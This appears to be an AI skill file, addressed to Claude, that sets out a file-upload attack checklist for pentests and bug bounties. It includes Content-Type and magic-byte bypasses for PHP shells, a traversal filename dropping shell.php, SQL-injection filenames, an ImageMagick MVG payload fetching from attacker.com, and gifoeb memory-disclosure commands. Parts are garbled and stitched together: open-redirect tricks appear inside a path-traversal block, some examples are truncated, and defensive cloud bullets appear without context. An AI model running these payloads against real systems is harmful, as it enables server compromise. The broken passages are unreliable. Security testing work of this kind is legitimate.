File upload vulnerability checklist: MIME type bypass, extension bypass, magic byte manipulation, path traversal in filenames, stored XSS via SVG/HTML upload, server-side processing attacks, and race conditions. Use for assessing file upload endpoints in web app pentests or bug bounty.
Trigger Phrases
Use this skill when the conversation involves any of: file upload, MIME bypass, extension bypass, magic byte, path traversal upload, SVG XSS, polyglot, upload bypass, malicious upload, web shell upload
Instructions for Claude
When this skill is active:
Load and apply the full methodology below as your operational checklist
Follow steps in order unless the user specifies otherwise
For each technique, consider applicability to the current target/context
Track which checklist items have been completed
Suggest next steps based on findings
Full Methodology
File Upload Vulnerabilities
Mechanisms
flowchart TD
A[File Upload Vulnerabilities] --> B[Insufficient File Type Validation]
A --> C[Improper Extension Handling]
A --> D[Inadequate File Content Analysis]
A --> E[Unsafe File Storage]
A --> F[File Operation Mishandling]
A --> G[Directory Traversal]
A --> H[Race Conditions]
B --> I[Remote Code Execution]
C --> I
D --> J[Client-Side Attacks]
E --> I
F --> K[Denial of Service]
G --> L[Arbitrary File Access]
H --> I
File upload vulnerabilities occur when web applications allow users to upload files without implementing proper validation, filtering, and handling mechanisms. These vulnerabilities can lead to various attacks, ranging from simple web defacement to complete server compromise through remote code execution.
The core technical issues behind file upload vulnerabilities include:
Insufficient File Type Validation: Failure to properly validate the actual content/type of uploaded files
Improper Extension Handling: Not restricting dangerous file extensions or allowing easy bypasses
Inadequate File Content Analysis: Not checking the actual file content versus relying only on extension or content-type
Unsafe File Storage: Storing files in executable directories or with dangerous permissions
File Operation Mishandling: Not securely handling file operations during the upload process
Directory Traversal Vulnerabilities: Allowing manipulation of upload paths
Race Conditions: Timing issues during validation and moving of uploaded files
Archive Extraction Flaws: Insecure handling of archive formats like ZIP or TAR (e.g., Symlink abuse, Zip Slip)
File upload vulnerabilities can manifest in various upload functionality patterns:
Profile Picture Uploads: Common in user profiles and social media
Document Repositories: File sharing services and document management systems
Media Uploads: Image, video, and audio uploaders
Bulk Import Features: CSV, XML, and other data import functionality
Content Management Systems: Templates, plugins, themes, and media libraries
Modify the Content-Type header to bypass MIME validation:
``` Content-Type: image/jpeg # actual file is PHP Content-Type: image/png # actual file is PHP Content-Type: image/gif # actual file is PHP Content-Type: application/x-php # declared as image/jpeg when sent ```
Other Content-Type manipulations:
```
Remove Content-Type header entirely
Send Content-Type twice with allowed/disallowed values
```
Magic Byte Forging:
If validation relies on magic bytes, prefix the malicious file content with valid magic bytes of an allowed type.
```
Example: Add GIF header to a PHP shell
GIF89a; ```
Polyglot File Testing:
Create and test polyglot files (valid in multiple formats)
``` GIFAR files (GIF + RAR) Valid Image + PHP code in EXIF metadata PDF + PHP code SVG + JavaScript for XSS ```
``` escape "/" with "\/" or "//" with "\/\/" try single "/" instead of "//" remove http i.e. "continue=//google.com" "/\/\" , "|/" , "/%09/" encode, slashes "./" CHANGE TO "..//" "../" CHANGE TO "....//" "/" CHANGE TO "//" filename=..%2f..%2f..%2ftmp%2fshell.php
Prepend malicious file content with the magic bytes of an allowed file type.
```
Example: GIF header + PHP shell
GIF89a;
```
Vulnerabilities
Common File Upload Vulnerability Patterns
graph TD
A[File Upload Vulnerabilities] --> B[Implementation-Specific]
A --> C[Impact Scenarios]
B --> D[CMS Upload Vulnerabilities]
B --> E[Framework Upload Vulnerabilities]
B --> F[Language-Specific Vulnerabilities]
C --> G[RCE]
C --> H[XSS]
C --> I[SSRF]
C --> J[DoS]
C --> K[LFI]
Implementation-Specific Vulnerabilities
CMS Upload Vulnerabilities:
WordPress: Plugin and theme uploaders
``` Upload plugin ZIP with malicious PHP files SVG uploads with XSS in media library ```
Drupal: Module installations
``` Malicious module installation via admin panel ```
If the filename is used unsanitized in SQL queries:
``` filename="' OR SLEEP(10)-- -.jpg" filename="sleep(10)-- -.jpg" filename="'sleep(10).jpg" # Different quoting/termination ```
Denial of Service (DoS)
Pixel Flood Attack: Uploading specially crafted images (e.g., lottapixel.jpg) that consume excessive resources during processing. (Reference)
Zip Bomb: Uploading highly compressed archives that expand significantly.
Large Filename: Using extremely long filenames can sometimes cause issues or DoS.
Uploading files with content that exploits parsing libraries (e.g., ImageTragick, billion laughs XXE).
Uploading .eml files with Content-Type: text/html if processed insecurely.
FFmpeg/Video Processing: Upload crafted video files (.mp4, .avi, .mov) with malicious metadata or subtitles to trigger SSRF/RCE in video converters.
HEIC/AVIF Processing: Exploit parsing bugs in libheif/libavif during thumbnail generation.
PDF.js Browser Rendering: Upload PDFs with malicious annotations or forms that exploit client-side renderers.
Additional Attack Vectors
ImageMagick Vulnerabilities
Using .mvg files for SSRF/LFI:
push graphic-context
viewbox 0 0 640 480
fill 'url(http://attacker.com/)'
pop graphic-context
Using the gifoeb tool for memory disclosure:
./gifoeb gen 512x512 dump.gif
# Try different extensions:
./gifoeb gen 1123x987 dump.jpg
./gifoeb gen 1123x987 dump.png
# Recover pixels after upload and download:
# for p in previews/*; do ./gifoeb recover $p | strings; done
Scan and quarantine newly uploaded objects before publishing; block overwrites via Object Lock; publish via a separate, read-only bucket.
Prevent key confusion: disallow keys with %2f, unicode homoglyphs, or hidden dot segments that may bypass prefix-only allowlists.
CDN/image pipeline: disable remote URL sources or restrict to allowlisted domains with DNS pinning; strip metadata and re-encode.
Enforce V4 signature strictness on presigned URLs; reject headers not in policy; verify expiration on access.
Chunked/Streaming and CDN/Image Pipelines
HTTP chunked smuggling: proxies may stream parts to backends before full validation; ensure backends validate final file after full receive.
Parallel/multipart chunk races: verify server holds uploads in a quarantine path until all validations complete; deny direct reads from temp locations.
Image pipelines with ?url= sources: treat as SSRF; block private IPs, localhost, and metadata endpoints; enforce DNS rebinding protections.